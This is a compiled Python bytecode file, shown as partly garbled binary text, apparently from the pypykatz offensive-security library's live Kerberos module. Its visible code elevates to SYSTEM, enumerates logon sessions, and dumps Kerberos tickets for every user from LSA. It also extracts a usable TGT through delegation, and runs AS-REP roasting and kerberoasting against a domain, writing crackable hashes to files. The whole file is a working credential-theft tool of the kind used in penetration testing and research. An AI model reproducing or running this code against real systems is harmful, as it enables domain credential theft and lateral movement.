o
    Žõ±j©2  ã                   @   sœ  d dl Z d dlmZ d dlmZ d dlmZ d dlmZ d dl	m
Z
 d dlmZ d dlmZ d dl	m
Z
 d dlmZ d d	lmZmZmZmZmZmZmZmZmZ d d
lmZ d dlmZmZ d dlmZmZ d dl m!Z!m"Z" d dl#m$Z$ d dl%m&Z& d dl'm(Z(m)Z)m*Z*m+Z+m,Z,m-Z-m.Z.m/Z/m0Z0m1Z1m2Z2m3Z3m4Z4m5Z5m6Z6m7Z7m8Z8m9Z9m:Z:m;Z;m<Z<m=Z=m>Z> d dl?m@Z@mAZA d dlBmCZCmDZDmEZEmFZF G dd„ dƒZGddd„ZHdS )é    N)Úget_logon_info)ÚLDAPConnectionFactory)ÚInitialContextToken)ÚTGSTicket2hashcat)ÚKerberosTarget)Ú
asreproast)ÚKerberosCredential)	ÚAP_REQÚKRB_CREDÚEncKrbCredPartÚKRBCREDÚAuthenticatorÚKrbCredInfoÚEncryptedDataÚTGS_REQÚAP_REP)Úprint_table)ÚCCACHEÚ
Credential)ÚChecksumFlagsÚAuthenticatorChecksum)ÚKeyÚ_enctype_table)Úlogger)ÚProcessManipulator)ÚLsaConnectUntrustedÚLsaLookupAuthenticationPackageÚKERB_PURGE_TKT_CACHE_REQUESTÚLsaCallAuthenticationPackageÚLsaDeregisterLogonProcessÚLsaRegisterLogonProcessÚLsaEnumerateLogonSessionsÚLsaGetLogonSessionDataÚLsaFreeReturnBufferÚretrieve_tkt_helperÚKERB_RETRIEVE_TKT_RESPONSEÚget_lsa_errorÚget_ticket_cache_info_helperÚextract_ticketÚsubmit_tkt_helperÚAcquireCredentialsHandleÚInitializeSecurityContextÚSECPKG_CREDÚISC_REQÚSEC_EÚSecPkgContext_SessionKeyÚQueryContextAttributesÚSECPKG_ATTR)ÚOpenProcessTokenÚ#GetTokenInformation_tokenstatistics)ÚGetCurrentProcessIdÚOpenProcessÚCloseHandleÚMAXIMUM_ALLOWEDc                   @   sž   e Zd Zd'dd„Zdd„ Zdd„ Zd(d
d„Zdd„ Zdd„ Zdd„ Z	dd„ Z
dd„ Zdd„ Zdd„ Zdd„ Zdd„ Zd)dd „Zd*d!d"„Zd)d#d$„Zd%d&„ ZdS )+ÚKerberosLiver   ÚTOTALLY_NOT_PYPYKATZc                 C   sB   g | _ || _|  ¡ | _d | _|| _d | _d | _|  ¡  |  	¡  d S ©N)
Úavailable_luidsÚcurrent_luidÚget_current_luidÚoriginal_luidÚkerberos_package_idÚhelper_nameÚ_KerberosLive__lsa_handleÚ%_KerberosLive__lsa_handle_is_elevatedÚget_kerberos_package_idÚ
list_luids)ÚselfÚ
start_luidr@   © rG   ú‘/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/pypykatz/kerberos/kerberoslive.pyÚ__init__%   s   
zKerberosLive.__init__c                 C   s*   | j d u rtƒ }t|dƒ| _ t|ƒ | j S )NÚkerberos)r?   r   r   r   )rE   Ú
lsa_handlerG   rG   rH   rC   1   s
   
z$KerberosLive.get_kerberos_package_idc              
   C   sh   | j du r| jS tƒ }z| ¡  W n ty# } ztd| ƒ‚d }~ww t| jƒ| _| ¡  d| _ | jS )NTz<Failed to obtain SYSTEM privileges! Are you admin? Error: %s)rB   rA   r   Ú	getsystemÚ	Exceptionr    r@   Ú
dropsystem)rE   ÚpmÚerG   rG   rH   Ú__open_elevated9   s   
€ÿzKerberosLive.__open_elevatedFc                 C   sV   |du r| j du r| jS |  ¡ S |dks| j| jkr$tƒ | _d| _ | jS |  ¡  | jS )NTr   F)rB   rA   Ú_KerberosLive__open_elevatedr>   r<   r   )rE   ÚluidÚreq_elevatedrG   rG   rH   Úopen_lsa_handleH   s   
þzKerberosLive.open_lsa_handlec                 C   s6   | j ddd� || jvr||  ¡ vrtdƒ‚|| _d S )Nr   T©rT   zThis luid is not known!)rU   r;   rD   rM   r<   )rE   Únew_luidrG   rG   rH   Úswitch_luidW   s
   

zKerberosLive.switch_luidc                 C   sP   |dkr| j }|  |¡ i }g ||< t| j| j|dd�D ]	}||  |¡ q|S )Nr   F©Úthrow)r>   rU   r'   rA   r?   Úappend)rE   rS   Úticket_infosÚticket_inforG   rG   rH   Úget_ticketinfoq   s   
zKerberosLive.get_ticketinfoc                 C   sd   | j ddd� i }|  ¡ D ]"}||vrg ||< t| j| j|dd�D ]}|g kr.||  |¡ q!q|S )Nr   TrV   FrY   )rU   rD   r'   rA   r?   r[   )rE   r\   rS   r]   rG   rG   rH   Úget_all_ticketinfo|   s   €þzKerberosLive.get_all_ticketinfoc                 C   s   |   |¡ t| j| j||ƒS r:   )rU   r(   rA   r?   )rE   rS   ÚtargetrG   rG   rH   Úexport_ticketdata_targetˆ   s   
z%KerberosLive.export_ticketdata_targetc                 C   s`   |dkr| j }i }||vrg ||< |  ¡ }|| D ]}t| j| j||d ƒ}||  |¡ q|S )Nr   Ú
ServerName)r>   r_   r(   rA   r?   r[   )rE   rS   Úticket_datar\   ÚticketÚresrG   rG   rH   Úexport_ticketdataŒ   s   zKerberosLive.export_ticketdatac                 C   sj   | j ddd� |  ¡ }i }|D ]#}||vrg ||< || D ]}t| j| j||d ƒ}||  |¡ qq|S )Nr   TrV   rb   )rU   r_   r(   rA   r?   r[   )rE   r\   rc   rS   rd   re   rG   rG   rH   Úexport_all_ticketdataš   s   þz"KerberosLive.export_all_ticketdatac                 C   s2   t ƒ }ttd|ƒ}t|ƒ}t|ƒ}t|ƒ |d S )NFÚAuthenticationId)r4   r5   r7   r2   r3   r6   )rE   Úcurrent_pidÚprocess_handleÚtoken_handleÚstatsrG   rG   rH   r=   §   s   zKerberosLive.get_current_luidc                 C   s   t ƒ | _| jS r:   )r!   r;   )rE   rG   rG   rH   rD   ¯   s   zKerberosLive.list_luidsc                 C   s~   | j D ]9}zt|ƒ}td| dd¡|d |d t|d ƒf ƒ W q ty< } zt d||f ¡ W Y d }~qd }~ww d S )NzUSER "%s\%s" SPN "%s" LUID %sÚLogonDomainÚ.ÚUserNameÚUpnÚLogonIdz)Failed to get info for LUID %s Reason: %s)r;   r"   ÚprintÚgetÚhexrM   r   Údebug)rE   rS   Úsession_inforP   rG   rG   rH   Úlist_sessions³   s   
0€þüzKerberosLive.list_sessionsNc                 C   sš   g }|d u r| j ddd� ||  ¡ 7 }n
| |¡ |   |¡ |D ]*}t|ƒ}t| j| j|ƒ\}}}|dkr@t|ƒdkr<q t|ƒ‚t|ƒdkrJt	|ƒ q d S )Nr   TrV   é   )
rU   rD   r[   r   r   rA   r?   Úlenr&   r#   )rE   rS   ÚluidsÚluid_currentÚmessageÚmessage_retÚ
status_retÚfree_ptrrG   rG   rH   Úpurge¼   s"   

€øzKerberosLive.purgec                 C   sX   |   |¡ t||d�}t| j| j|ƒ\}}}|dkrt|ƒ‚t|ƒdkr*t|ƒ d S d S )N)Úlogonidr   )rU   r)   r   rA   r?   r&   ry   r#   )rE   rc   rS   r|   Úret_msgÚ
ret_statusr   rG   rG   rH   Úsubmit_ticketÏ   s   
ÿzKerberosLive.submit_ticketc                 C   s¸  |d u rt ƒ }|d d u rtdƒ‚d|d  }td d|tjƒ}t||d |tjtjB tj	B d�\}}}}}|t
jks>|t
jkrÚ|  d|¡}t|d d |d d ƒ}	t |d d	 ¡}
t|
jd
 ƒj}t|d d  }| |	d|d d ¡}t |¡j}|d d dkr‡tdƒ‚t |d d ¡}tj|jvrštdƒ‚t |j¡j}| |	d|d d ¡}i }d|d< ||d< t|ƒ}i }|d |d< |d |d< |d |d< ||d< t|ƒ}| ¡ S d S )NÚlogonserverzFFailed to get logonserver and no target was specified! This wont work.zcifs/%srJ   ©ÚtokenÚctxÚflagsr   r   ÚKeyTyperx   ÚinnerContextTokenÚauthenticatorÚetypeé   ÚcipherÚcksumÚ	cksumtypei€  zChecksum not good :(Úchecksumzdelegation flag not set!é   zenc-partÚpvnozmsg-typeÚtickets)r   rM   r*   r,   ÚOUTBOUNDr+   r-   ÚDELEGATEÚMUTUAL_AUTHÚALLOCATE_MEMORYr.   ÚOKÚCONTINUE_NEEDEDra   r   r   Úloadr	   Únativer   Údecryptr   r   Ú
from_bytesr   ÚGSS_C_DELEG_FLAGr‰   r
   Údelegation_datar   Údump)rE   r`   Úlogonrˆ   re   ÚdataÚoutputflagsÚexpiryÚ
raw_ticketÚkeyr‡   rd   r�   Údec_authenticatorrŒ   Úchecksum_dataÚ	cred_origÚteÚtenÚtÚcredrG   rG   rH   Úget_tgtÙ   sP   û	ßzKerberosLive.get_tgtc           
      C   sŠ   t d d|tjƒ}t||d |tjtjB d�\}}}}}|tjks$|tj	krCt
ƒ }t|tj|ƒ |j}t |d d ¡jd }	t|	ƒ|fS d S )NrJ   r†   r   rx   r‹   )r*   r,   r–   r+   r-   r™   Ú
CONNECTIONr.   rš   r›   r/   r0   r1   ÚSESSION_KEYÚBufferr   rœ   r�   r	   )
rE   r`   rˆ   re   r¤   r¥   r¦   Ú
sec_structÚkey_datard   rG   rG   rH   Ú	get_apreq  s   
ûùzKerberosLive.get_apreq)r   r9   )Fr:   )r   )Ú__name__Ú
__module__Ú__qualname__rI   rC   rR   rU   rX   r^   r_   ra   rf   rg   r=   rD   rw   r€   r„   r°   r¶   rG   rG   rG   rH   r8   $   s$    


	


4r8   c                  Ã   sÀ  ��zÅt ƒ }|d }d|d  }t |¡}| ¡ }| ¡ I d H \}}|d ur(|‚|jj dd¡ dd¡}g }g }	g }
g }g }d}d}| ¡ 2 z3 d H W \}}|d urT|‚t	ƒ }|j
|_||_|	 |¡ qF6 | ¡ 2 z3 d H W \}}|d urw|‚t	ƒ }|j
|_||_| |¡ qi6 d	d
„ |	D ƒ}|	d j}tt|ƒ||dgd�2 z 3 d H W \}}}|d ur´|
 ||f¡ qŸ|d7 }| t|ƒ¡ qŸ6 | d urý| d|d tj ¡  d¡f  }t|ddd��}|D ]}|d7 }| |d ¡ qßW d   ƒ n1 s÷w   Y  n||7 }g }|D ]y}d|j|jf }|d d… dk�r�qz<td d|tjƒ}t||d |tjtjB d�\}}}}}|tjk�sA|tj k�rNt! "|d d ¡j#d }nt$d|j% ƒ‚W n t$�yu } zt&|ƒ |
 ||f¡ W Y d }~�qd }~ww | t'|ƒ¡ �q| d u�r¾| d|d tj ¡  d¡f  }t|ddd��}|D ]}|d7 }| |d ¡ �qžW d   ƒ n	1 �s¸w   Y  n||7 }||
d fW S  t$�yß } zd d |fW  Y d }~S d }~ww )NÚdomainzldap+sspi-ntlm://%sr…   zDC=Ú ú,rn   r   c                 S   s   g | ]}|j ‘qS rG   )Úusername)Ú.0ÚxrG   rG   rH   Ú
<listcomp>D  s    zlive_roast.<locals>.<listcomp>é   )Úoverride_etyperx   zasreproast_%s_%s.txtz%Y%m%d_%H%M%SÚw)Únewlinez
z%s@%sé   ÚkrbtgtrJ   r†   r‹   zError %szspnroast_%s_%s.txt)(r   r   Úfrom_urlÚ
get_clientÚconnectÚ	_ldapinfoÚdistinguishedNameÚreplaceÚget_all_knoreq_usersr   ÚsAMAccountNamer½   rº   r[   Úget_all_service_usersr   r   ÚstrÚdatetimeÚutcnowÚstrftimeÚopenÚwriter*   r,   r–   r+   r-   r™   r±   r.   rš   r›   r   rœ   r�   rM   Úvaluerr   r   ) Úoutfiler£   rº   ÚurlÚ
msldap_urlÚclientÚ_ÚerrÚ	spn_usersÚasrep_usersÚerrorsÚresultsÚfinal_resultsÚspn_cntÚ	asrep_cntÚuserr¯   ÚasrepusernamesÚasrepdomainr½   ÚhÚfilenameÚfÚthashÚspn_namerˆ   re   r¤   r¥   r¦   rd   rP   rG   rG   rH   Ú
live_roast   s¸   €
ùù	
(û þÿ€
ûþ€ý
 þÿ€€ÿrì   r:   )IrÑ   Úwinacl.functions.highlevelr   Úmsldap.commons.factoryr   Ú*pypykatz.kerberos.functiondefs.asn1structsr   Úminikerberos.common.utilsr   Úminikerberos.common.targetr   Úminikerberos.securityr   Úminikerberos.common.credsr   Ú"minikerberos.protocol.asn1_structsr	   r
   r   r   r   r   r   r   r   r   Úminikerberos.common.ccacher   r   Ú minikerberos.protocol.structuresr   r   Ú minikerberos.protocol.encryptionr   r   Úpypykatzr   Ú*pypykatz.commons.winapi.processmanipulatorr   Ú(pypykatz.kerberos.functiondefs.netsecapir   r   r   r   r   r    r!   r"   r#   r$   r%   r&   r'   r(   r)   r*   r+   r,   r-   r.   r/   r0   r1   Ú'pypykatz.kerberos.functiondefs.advapi32r2   r3   Ú'pypykatz.kerberos.functiondefs.kernel32r4   r5   r6   r7   r8   rì   rG   rG   rG   rH   Ú<module>   s.   ,d }